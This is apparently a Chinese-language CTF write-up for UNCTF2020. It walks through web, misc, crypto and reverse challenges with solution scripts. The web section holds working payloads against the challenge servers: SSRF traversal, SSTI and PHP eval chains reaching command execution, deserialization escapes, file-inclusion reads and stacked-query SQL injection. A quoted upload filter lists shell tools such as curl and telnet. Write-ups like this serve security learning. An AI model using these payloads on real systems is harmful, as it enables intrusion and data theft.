0%

UNCTF2020 WriteUp

Web

easy_ssrf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
echo'<center><strong>welc0me to 2020UNCTF!!</strong></center>';
highlight_file(__FILE__);
$url = $_GET['url'];
if(preg_match('/unctf\.com/',$url)){
if(!preg_match('/php|file|zip|bzip|zlib|base|data/i',$url)){
$url=file_get_contents($url);
echo($url);
}else{
echo('error!!');
}
}else{
echo("error");
}
?>

url里只要包含 unctf.com 即可,开始想多了,弄到 gopher 协议了,然后发现 dictgopher 协议根本没开启,手慢错失三血

1
http://e035ba36-6bf8-44c8-9837-2afecc32ca08.node3.hackingfor.fun/?url=/unctf.com/../../../../flag

easyflask

知识点

  • SSTI
  • bypass __

注册 admin 然后登陆,发现路径 secret_route_you_do_not_knowguss 参数 SSTI

__ 被过滤,网上找了下,发现这篇文章:

https://www.secpulse.com/archives/115367.html

payload:

1
?guess={{()|attr(request.args.x1)|attr(request.args.x2)|attr(request.args.x3)()|attr(request.args.x4)(91)|attr(request.args.x5)|attr(request.args.x6)|attr(request.args.x4)(request.args.x7)|attr(request.args.x4)(request.args.x8)(request.args.x9)}}&x1=__class__&x2=__base__&x3=__subclasses__&x4=__getitem__&x5=__init__&x6=__globals__&x7=__builtins__&x8=eval&x9=__import__('platform').popen('cat flag.txt').read()

easyphp

知识点

  • 变量覆盖
  • 0e 开头 sha1 爆破
  • PHP 复杂变量
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
<?php

$adminPassword = 'd8b8caf4df69a81f2815pbcb74cd73ab';
if (!function_exists('fuxkSQL')) {
function fuxkSQL($iText)
{
$oText = $iText;
$oText = str_replace('\\\\', '\\', $oText);
$oText = str_replace('\"', '"', $oText);
$oText = str_replace("\'", "'", $oText);
$oText = str_replace("'", "''", $oText);
return $oText;
}
}
if (!function_exists('getVars')) {
function getVars()
{
$totals = array_merge($_GET, $_POST);
if (count($_GET)) {
foreach ($_GET as $key => $value) {
global ${$key};
if (is_array($value)) {
$temp_array = array();
foreach ($value as $key2 => $value2) {
if (function_exists('mysql_real_escape_string')) {
$temp_array[$key2] = fuxkSQL(trim($value2));
} else {
$temp_array[$key2] = str_replace('"', '\"', str_replace("'", "\'", (trim($value2))));
}
}
${$key} = $_GET[$key] = $temp_array;
} else {
if (function_exists('mysql_real_escape_string')) {
${$key} = fuxkSQL(trim($value));
} else {
${$key} = $_GET[$key] = str_replace('"', '\"', str_replace("'", "\'", (trim($value))));
}
}
}
}
}
}

getVars();
if (isset($source)) {
highlight_file(__FILE__);
}

//只有admin才能设置环境变量
if (md5($password) === $adminPassword && sha1($verif) == $verif) {
echo 'you can set config variables!!' . '</br>';
foreach (array_keys($GLOBALS) as $key) {
if (preg_match('/var\d{1,2}/', $key) && strlen($GLOBALS[$key]) < 12) {
@eval("\$$key" . '="' . $GLOBALS[$key] . '";');
}
}
} else {
foreach (array_keys($GLOBALS) as $key) {
if (preg_match('/var\d{1,2}/', $key)) {
echo ($GLOBALS[$key]) . '</br>';
}
}
}

getVars 函数逻辑使用 $$var 可变量覆盖,md5($password) === $adminPassword 值需要覆盖 adminPassword 值为任意已知原文的md5值即可。sha1($verif) == $verif 这一步采用 0e 相等的方式,附上爆破脚本,爆破了大概半小时……

1
2
3
4
5
6
<?php 
for($i=0;;$i++)
if("0e{$i}"==sha1("0e{$i}"))
die ("[+] found! 0e{$i}");
elseif ($i % 1000000 === 0)
echo "[+] current value: {$i}\n";

payload,然后直接在 phpinfo 页面可以看到 flag

1
?password=123456&verif=0e1290633704&adminPassword=e10adc3949ba59abbe56e057f20f883e&var1=${$a()}&a=phpinfo

上面这个 payload 命令命令执行的话,因为位数限制,执行的命令有限制,这题还可以任意命令执行

1
?password=123456&verif=0e1290633704&adminPassword=e10adc3949ba59abbe56e057f20f883e&var1=${$a($b)}&a=system&b=whoami

非预期:

动态函数,刚好 flag 也可以在 phpinfo 看到

1
?password=123456&verif=0e1290633704&adminPassword=e10adc3949ba59abbe56e057f20f883e&var1=\"$a()?>&a=phpinfo

easyunserialize

  • 反序列化逃逸
  • 逃逸长度增加或减少
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
error_reporting(0);
highlight_file(__FILE__);

class a
{
public $uname;
public $password;
public function __construct($uname,$password)
{
$this->uname=$uname;
$this->password=$password;
}
public function __wakeup()
{
if($this->password==='easy')
{
include('flag.php');
echo $flag;
}
else
{
echo 'wrong password';
}
}
}

function filter($string){
return str_replace('challenge','easychallenge',$string);
}

$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>

序列化字符串逃逸,可以看这篇文章,增加和减少都有讲到

https://blog.csdn.net/qq_45521281/article/details/107135706

需要注意增加或减少逃逸长度的思想,正常的 payload ";s:8:"password";s:4:"easy";},长度为 29,然而每次逃逸的长度为 4,29 不是 4 的倍数。减少是不可能了,那么考虑增加,";s:8:"password";s:4:"easy";i:1} 32 位,是 4 的倍数。

payload:challengechallengechallengechallengechallengechallengechallengechallenge";s:8:"password";s:4:"easy";i:1}

babyeval

正则为 /\(.*\)/,不能使用带括号的 PHP 函数,那么考虑特殊语法 echo 和 include,回显结果不能含有 flag,base64 即可

payload1:

1
?a=echo`cat flag.php|base64`;

payload2:

1
?a=include 'php://filter/read=convert.base64-encode/resource=flag.php';

ezphp

1
2
3
4
5
6
7
8
9
10
11
12
<?php
show_source(__FILE__);
$username = "admin";
$password = "password";
include("flag.php");
$data = isset($_POST['data'])? $_POST['data']: "" ;
$data_unserialize = unserialize($data);
if ($data_unserialize['username']==$username&&$data_unserialize['password']==$password){
echo $flag;
}else{
echo "username or password error!";
}

序列化数组即可,本地 payload 可以,题目环境不可以,发现 == 想到弱类型,flag.php 里面对变量肯定有改动,usernamepassword 改为数字类型的 0 即可,(非得这么考弱类型吗……)

1
data=a:2:{s:8:"username";i:0;s:8:"password";i:0;}

UN’s_online_tools

给了 index.php,登录 post 请求要改到 check.php,然后会跳转到 ping.php,然后都是假界面,index.php 注入然后 os-shell 搞定。

后面发现改了题,换成了命令执行绕过,过滤了空格,用 %09 绕过。又过滤了 flag,使用linux 通配符 /???? 的方式 cat 到 flag

checkin-sql

qwb 随便注改编,三种思路可以参考

https://www.jianshu.com/p/36f0772f5ce8

这里 set..prepare 过滤忽略了大小写,set 和 prepare 不能同时出现,那么换一种思路,使用系统变量。数据库没有东西,尝试写入shell,能写入,但是访问就403错误,猜测 ngnix 配置问题。然后尝试 load_file 读文件,读取到 /tmp/flag.sh 获取到 flag 路径(参照随便注的 dockerfile)为 /fffllaagg,读取即可。

这里有一个小 trick,我是使用的系统变量 general_log_file 来注入,但是发现 select ... /etc/paswd 这样sql语句和目录一起出现的语句不能赋值给 general_log_file,所以我用了两个系统变量,用预编译占位符的方式绕过。

payload:

1
?inject=-1';set global slow_query_log_file="select load_file(?)";set global general_log_file="/fffllaagg";show global variables like "slow_query_log_file";show global variables like "general_log_file";prepare execsql from @@slow_query_log_file;execute execsql using @@general_log_file;#

后来发现预期解是考察存储过程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
$a = "1';
create procedure `qq`(out string text(1024), in hex text(1024))
BEGIN
SET string = hex;
END;
;#";
echo urlencode($a)."\n";
$b = "1';
call `qq`(@decoded, 0x73656c65637420666c61672066726f6d20603139313938313039333131313435313460);
prepare payload from @decoded;
execute payload;
;#";
echo urlencode($b);
?>

L0vephp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<SCRIPT language=javascript><!--
function runClock() {
theTime = window.setTimeout("runClock()", 100);
var today = new Date();
var display= today.toLocaleString();
window.status=""+display+"黑客导航 - www.hac-ker.com";
}runClock();
//-->
</SCRIPT>
</body>
<body>
<div class="footer-wrapper">
<footer>
<?php
error_reporting(0);
$action = $_GET['action'];
if(isset($action))
{
if (preg_match("/base|data|input|zip|zlib/i",$action)){
echo "<script>alert('Hacker!!!')</script>";
}
else {
include("$action");
}
}
else
{
include("footer.php");
}

?>
</footer>
</div>
</body>
</html>

<!-- B4Z0-@:OCnDf, -->

fuzz 到 action 参数,发现文件包含漏洞,filter 伪协议读源码即可,过滤了 base,换用rot13编码

1
?action=php://filter/read=string.rot13/resource=flag.php

flag.php:

1
2
3
4
<?php
$flag = "unctf{7his_is_@_f4ke_f1a9}";
//hint:316E4433782E706870
?>

hex 解码后发现 1nD3x.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php 


error_reporting(0);
show_source(__FILE__);
$code=$_REQUEST['code'];

$_=array('@','\~','\^','\&','\?','\<','\>','\*','\`','\+','\-','\'','\"','\\\\','\/');
$__=array('eval','system','exec','shell_exec','assert','passthru','array_map','ob_start','create_function','call_user_func','call_user_func_array','array_filter','proc_open');
$blacklist1 = array_merge($_);
$blacklist2 = array_merge($__);

if (strlen($code)>16){
die('Too long');
}

foreach ($blacklist1 as $blacklisted) {
if (preg_match ('/' . $blacklisted . '/m', $code)) {
die('WTF???');
}
}

foreach ($blacklist2 as $blackitem) {
if (preg_match ('/' . $blackitem . '/im', $code)) {
die('Sry,try again');
}
}

@eval($code);
?>

参考 p 神文章,绕过 16 位限制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /1nD3x.php?1[]=test&1[]=cat%20/flag_mdnrvvldb&2=system HTTP/1.1
Host: 91cd6671-4678-4d49-b68f-2cfa15e6aa9d.node3.hackingfor.fun
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: __cfduid=d774f57dd2bce55764577fa8151b806c11603020799
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 21

code=usort(...$_GET);

easy_upload

delctf 原题:https://blog.csdn.net/alexhcf/article/details/105946638

上传 .htaccess

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>UPLOAD</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" type="text/css" href="style/css/style1.css">
<link rel="stylesheet" type="text/css" href="style/css/style2.css">
</head>
<?php
error_reporting(0);

$userdir = "uploads/" . md5($_SERVER["REMOTE_ADDR"]);
$typeAccepted = ["image/jpeg", "image/gif", "image/png"];
if (!file_exists($userdir)) {
mkdir($userdir, 0777, true);
}
if (isset($_POST["upload"])) {
$tmp_name = $_FILES["fileUpload"]["tmp_name"];
$name = $_FILES["fileUpload"]["name"];
$black = file_get_contents($tmp_name);
if (!$tmp_name) {
$result1 ="???";
}else if (!$name) {
$result1 ="filename cannot be empty!";
}
else if (preg_match("/ph|ml|js|cg/i", $name)) {
$result1 = "filename error";
}
else if (!in_array($_FILES["fileUpload"]['type'], $typeAccepted)) {
$result1 = 'filetype error';
}
else if (preg_match("/perl|pyth|ph|auto|curl|\|base|>|rm|ryby|openssl|war|lua|msf|xter|telnet/i",$black)){
$result1 = "perl|pyth|ph|auto|curl|base|\|>|rm|ryby|openssl|war|lua|msf|xter|telnet in contents!";
}
else {
$upload_file_path = $userdir . "/" . $name;
move_uploaded_file($tmp_name, $upload_file_path);
system("chmod +x ".$userdir."/*");
$result2= "Your dir : " . $userdir. ' <br>';
$result3= "Your files :" .$name.'<br>';
}

}else{
$result1 = 'upload your file';
}
?>
<body>
<div class="wrap">
<div class="container">
<h1 style="color: white; margin: 0; text-align: center">UPLOADS</h1>
<form action="index.php" method="post" enctype="multipart/form-data">
<input class="wd" type="file" name="fileUpload" id="file"><br>
<input class="wd" type="submit" name="upload" value="submit">
<p class="change_link" style="text-align: center">
<strong><?php print_r($result1);?></strong>
</br>
<strong><?php print_r($result3);?></strong>
</br>
<strong><?php print_r($result2);?></strong>
</p>
</form>
</div>
</div>
</body>
</html>

ezfind

这题人傻了,直接变成数组就可以绕过,考察的错误转换成true?

1
index.php?name[]=1

easy_flask2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
from flask import Flask,render_template,redirect,request,session,make_response
import config
import pickle
import io
import sys
import base64

class Person:
def __init__(self, name, is_admin):
self.name = name
self.is_admin = is_admin

class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module == '__main__':
return getattr(sys.modules['__main__'], name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))


def restricted_loads(s):
return RestrictedUnpickler(io.BytesIO(s)).load()

app = Flask(__name__)
flag = "xxx"

@app.route("/")
def index():
app.config["SECRET_KEY"] = config.secret_key
return redirect("login")


@app.route("/login",methods=["GET","POST"])
def login():
if request.form.get('name'):
name = request.form.get('name')
person = Person(name,0)
pkl = pickle.dumps(person)
pkl = base64.b64encode(pkl)

resp = make_response(name)
resp.set_cookie('pkl',pkl)

session['name'] = name
session['is_admin'] = 0
return resp

else:
if session.get('name'):
if b'R' in base64.b64decode(request.cookies['pkl']):
return "RCE??"
person = pickle.loads(base64.b64decode(request.cookies['pkl']))
print(person.is_admin)
if session.get('is_admin') == 1:
#person = pickle.loads(base64.b64decode(request.cookies['pkl']))
if person.is_admin == 1:
return "HHHacker!Here is Your flag : " + flag
return render_template("index.html",name=session.get('name'))

else:
return render_template("login.html")

@app.route("/logout",methods=["GET","POST"])
def logout():
resp = make_response("success")
resp.delete_cookie("session")
resp.delete_cookie("pkl")
return resp

@app.route("/source")
def source():
return open('code.txt','r').read()


if __name__ == "__main__":
app.run(host="0.0.0.0",port=5000,debug=True)

赛后复现了一下,考点是 pickle 反序列化覆盖 secret_key 以及 flask cookie 伪造

pickle 反序列化可以参考以下几篇文章:

https://xz.aliyun.com/t/7436

https://www.anquanke.com/post/id/188981

https://www.smi1e.top/%E4%BB%8Ebalsn-ctf-pyshv%E5%AD%A6%E4%B9%A0python%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/

https://zhuanlan.zhihu.com/p/89132768

手搓字节码关键在于理解 opcode 作用,不太理解的可以尝试阅读源代码帮助理解,以及理清栈和 memo 里每一步的数据。可以使用 pker 帮助构建,建议可以在本地测试 opcode 是否构建正确

pker 代码,覆盖 secret_key ,返回 Person 对象

1
2
3
4
secret = GLOBAL('__main__', 'config')
secret.secret_key = 'hello'
person = INST('__main__', 'Person', 'admin', 1)
return person

然后使用 flask-session-cookie-manager 伪造 cookie,注意这里的参数都需要用双引号扩起来,github 文档示例不太对,会报错

1
py -3 flask_session_cookie_manager3.py encode -s "hello" -t "{'name':'admin','is_admin':1}"

具体流程,登录过后,修改 coookie 的 pkl,访问 /login 反序列化覆盖 secret_key ,然后再访问 / 覆盖掉 app.config["SECRET_KEY"],接着更改 cookiesession 为篡改的 session 访问 /login 即可获得 flag

Misc

baba_is_you

010 editor 打开发现最后有个 b 站地址,访问后第一条评论就是 flag

https://www.bilibili.com/video/BV1y44111737

阴阳人编码

1
2
3
4
5
6
7
8
就这. 就这. 就这. 就这. 就这. 就这. 就这. 就这. 就这. 就这. 就这. 就这. 就这. 就这. 就这.
就这. 就这. 就这. 就这. 就这. 不会吧! 就这¿ 不会吧! 不会吧! 就这. 就这¿ 就这. 就这. 就这. 就这.
就这. 就这. 就这. 就这. 就这. 就这. 就这. 就这. 就这. 就这. 就这. 就这. 就这. 就这. 就这.
就这. 就这¿ 就这. 就这¿ 不会吧! 就这. 就这¿ 就这. 就这. 就这. 就这. 不会吧! 就这. 就这. 就这.
就这. 就这. 就这. 就这. 就这. 就这. 就这. 就这. 就这. 就这. 不会吧! 就这. 就这¿ 就这. 就这.
就这. 就这. 就这. 就这. 就这. 不会吧! 就这¿ 不会吧! 不会吧! 就这. 就这¿ 不会吧! 不会吧! 不会吧! 不会吧!
不会吧! 不会吧! 就这¿ 就这. 就这¿ 不会吧! 就这. 就这¿ 不会吧! 不会吧! 不会吧! 不会吧! 不会吧! 就这. 就这.
……

三个密码子,最先猜测摩斯密码肯定不对,后来又尝试了其他很多密码,最后想到 Ook 编码三个密码子,且对应后缀 .?! 然后解密即可

爷的历险记

游戏还是很好玩,按照游戏流程过游戏,然后修改 rpgsave 存档文件,修改金钱数即可购买 flag

YLB’s CAPTCHA - 签到题

ylb 的验证码给搬上来了,正确输入 10 次即可获得 flag,不得不吐槽,眼睛都快瞎了

躲猫猫

把图移开后发现 base64 后的 flag

YLB绝密文件

流量包获取到三个文件 xor.pyYLBSB.xorsecret.pyc

pyc 反编译的到 key ,然后编写脚本跑就完事,3M的文件,跑了一个小时。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/env python
# -*- encoding: utf-8 -*-
'''
@time :2020/11/09 19:44:44
@author :Str3am
'''

import base64
key = 'YLBSB?YLBNB!'
enc = open("YLBSB.xor", "rb")
file = open("YLBSB.docx", "wb")
ciper = enc.read()
file_base64 = b''
count = 0
for c in ciper:
m = c^ord(key[count % len(key)])
file_base64 = file_base64+chr(m).encode()
count = count + 1
# if count == 8:
# break
file.write(base64.b64decode(file_base64))

mouse_click

流量分析,usb协议,参照这篇文章,提取出坐标点,然后plot绘图即可得flag的镜像

https://blog.csdn.net/qq_43625917/article/details/107723635

unctf{U5BC@P}

撕坏的二维码

补齐定位点扫描即得

unctf{QR@2yB0x}

零宽度字符,解密即得 unctf{sycj24_6hvgj_8gfj}

你能破解我的密码吗

john直接破解密码为 123456

被删除的flag

010 editor直接读

网络深处

解码工具分析出拨号内容,解压后发现塔珀自指公式,参考这篇文章解出

https://www.cnblogs.com/l137/p/3594664.html

flag{Y29pbA==}

EZ_IMAGE

参考文章,montage + gaps拼图

https://shawroot.cc/archives/639

image-20201114003717337

UNCTF{EZ_MISC_AND_HACK_FUN}

PWN

YLBNB

直接一直回车,然后出了部分 flag UNCTF{Gu@rd_Th3_Bes7_,结合题目名字,UNCTF{Gu@rd_Th3_Bes7_YLB},没有pwn环境,有空学一学,应该就是一直请求接收包就可以。

Crypto

easy_rsa

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from Crypto.Util import number
import gmpy2
from Crypto.Util.number import bytes_to_long

p = number.getPrime(1024)
q = number.getPrime(1024)
if p > q:
a = p + q
b = p - q
print(a,b)

n = p * q
e = 65537
phi = (p-1)*(q-1)
d = gmpy2.invert(e,phi)
m = bytes_to_long(b'msg')
c = pow(m,e,n)
print(c)

#320398687477638913975700270017132483556404036982302018853617987417039612400517057680951629863477438570118640104253432645524830693378758322853028869260935243017328300431595830632269573784699659244044435107219440036761727692796855905230231825712343296737928172132556195116760954509270255049816362648350162111168
#9554090001619033187321857749048244231377711861081522054479773151962371959336936136696051589639469653074758469644089407114039221055688732553830385923962675507737607608026140516898146670548916033772462331195442816239006651495200436855982426532874304542570230333184081122225359441162386921519665128773491795370
#22886015855857570934458119207589468036427819233100165358753348672429768179802313173980683835839060302192974676103009829680448391991795003347995943925826913190907148491842575401236879172753322166199945839038316446615621136778270903537132526524507377773094660056144412196579940619996180527179824934152320202452981537526759225006396924528945160807152512753988038894126566572241510883486584129614281936540861801302684550521904620303946721322791533756703992307396221043157633995229923356308284045440648542300161500649145193884889980827640680145641832152753769606803521928095124230843021310132841509181297101645567863161780

a,b已知,通过加减乘除即可知 p,q

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/usr/bin/env python
# -*- encoding: utf-8 -*-
'''
@time :2020/11/07 23:56:39
@author :Str3am
'''
import gmpy2
from Crypto.Util.number import long_to_bytes, isPrime

a = 320398687477638913975700270017132483556404036982302018853617987417039612400517057680951629863477438570118640104253432645524830693378758322853028869260935243017328300431595830632269573784699659244044435107219440036761727692796855905230231825712343296737928172132556195116760954509270255049816362648350162111168
b = 9554090001619033187321857749048244231377711861081522054479773151962371959336936136696051589639469653074758469644089407114039221055688732553830385923962675507737607608026140516898146670548916033772462331195442816239006651495200436855982426532874304542570230333184081122225359441162386921519665128773491795370
c = 22886015855857570934458119207589468036427819233100165358753348672429768179802313173980683835839060302192974676103009829680448391991795003347995943925826913190907148491842575401236879172753322166199945839038316446615621136778270903537132526524507377773094660056144412196579940619996180527179824934152320202452981537526759225006396924528945160807152512753988038894126566572241510883486584129614281936540861801302684550521904620303946721322791533756703992307396221043157633995229923356308284045440648542300161500649145193884889980827640680145641832152753769606803521928095124230843021310132841509181297101645567863161780

q = (a-b)//2
p = a - q
n = p * q
phi = (p-1)*(q-1)
e = 65537
d = gmpy2.invert(e,phi)

m = pow(c,d,n)
print(long_to_bytes(m))
# UNCTF{welcome_to_rsa}

这里需要注意的是,如果是 q = (a-b)/2 ,会抛出 OverflowError: int too large to convert to float。这里是因为在 Python3 里面,/ 默认是浮点数除法,q 默认类型即为 float ,浮点数对于大数会出现掉精度的问题,导致相减时范围溢出。

解决方法是换用整数除法 \\,整数除法在 Python3 里面是结果向下取整,如下,但重要的是做大数除法的时候会保留 int 类型的精度。

1
2
3
4
>>> 9/2
4.5
>>> 9//2
4

简单的RSA

winner attack 获取到 d 的值,然后解密即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/usr/bin/env python
# -*- encoding: utf-8 -*-
'''
@time :2020/11/09 17:18:05
@author :Str3am
'''

from Crypto.Util.number import long_to_bytes

n= 147282573611984580384965727976839351356009465616053475428039851794553880833177877211323318130843267847303264730088424552657129314295117614222630326581943132950689147833674506592824134135054877394753008169629583742916853056999371985307138775298080986801742942833212727949277517691311315098722536282119888605701
c= 140896698267670480175739817539898638657099087197096836734243016824204113452987617610944986742919793506024892638851339015015706164412994514598564989374037762836439262224649359411190187875207060663509777017529293145434535056275850555331099130633232844054767057175076598741233988533181035871238444008366306956934
d= 74651354506339782898861455541319178061583554604980363549301373281141419821253

m = pow(c, d, n)
print(long_to_bytes(m))

鞍山大法官开庭之缺的营养这一块怎么补

1
ottttootoootooooottoootooottotootttootooottotttooootttototoottooootoooottotoottottooooooooottotootto

培根密码,o换成a,t换成b,然后解密即可,unctf{PEIGENHENYOUYINGYANG}

Reverse

re_checkin

image-20201111140459406

初入逆向,工具都是现学,x64dbg 动态调即得 flag

反编译

参照这篇文章,反编译 run.py

http://pluie.top/2020/09/03/pyinstaller%E6%89%93%E5%8C%85%E7%9A%84-exe%E6%96%87%E4%BB%B6%E5%8F%8D%E6%B1%87%E7%BC%96%E6%88%90-py%E6%96%87%E4%BB%B6/

1
2
3
4
5
6
str2 = 'UMAQBvogWLDTWgX"""k'
flag = ''
for i in range(len(str2)):
flag += chr(ord(str2[i]) + i)

print(flag)

UNCTF{un_UN_ctf123}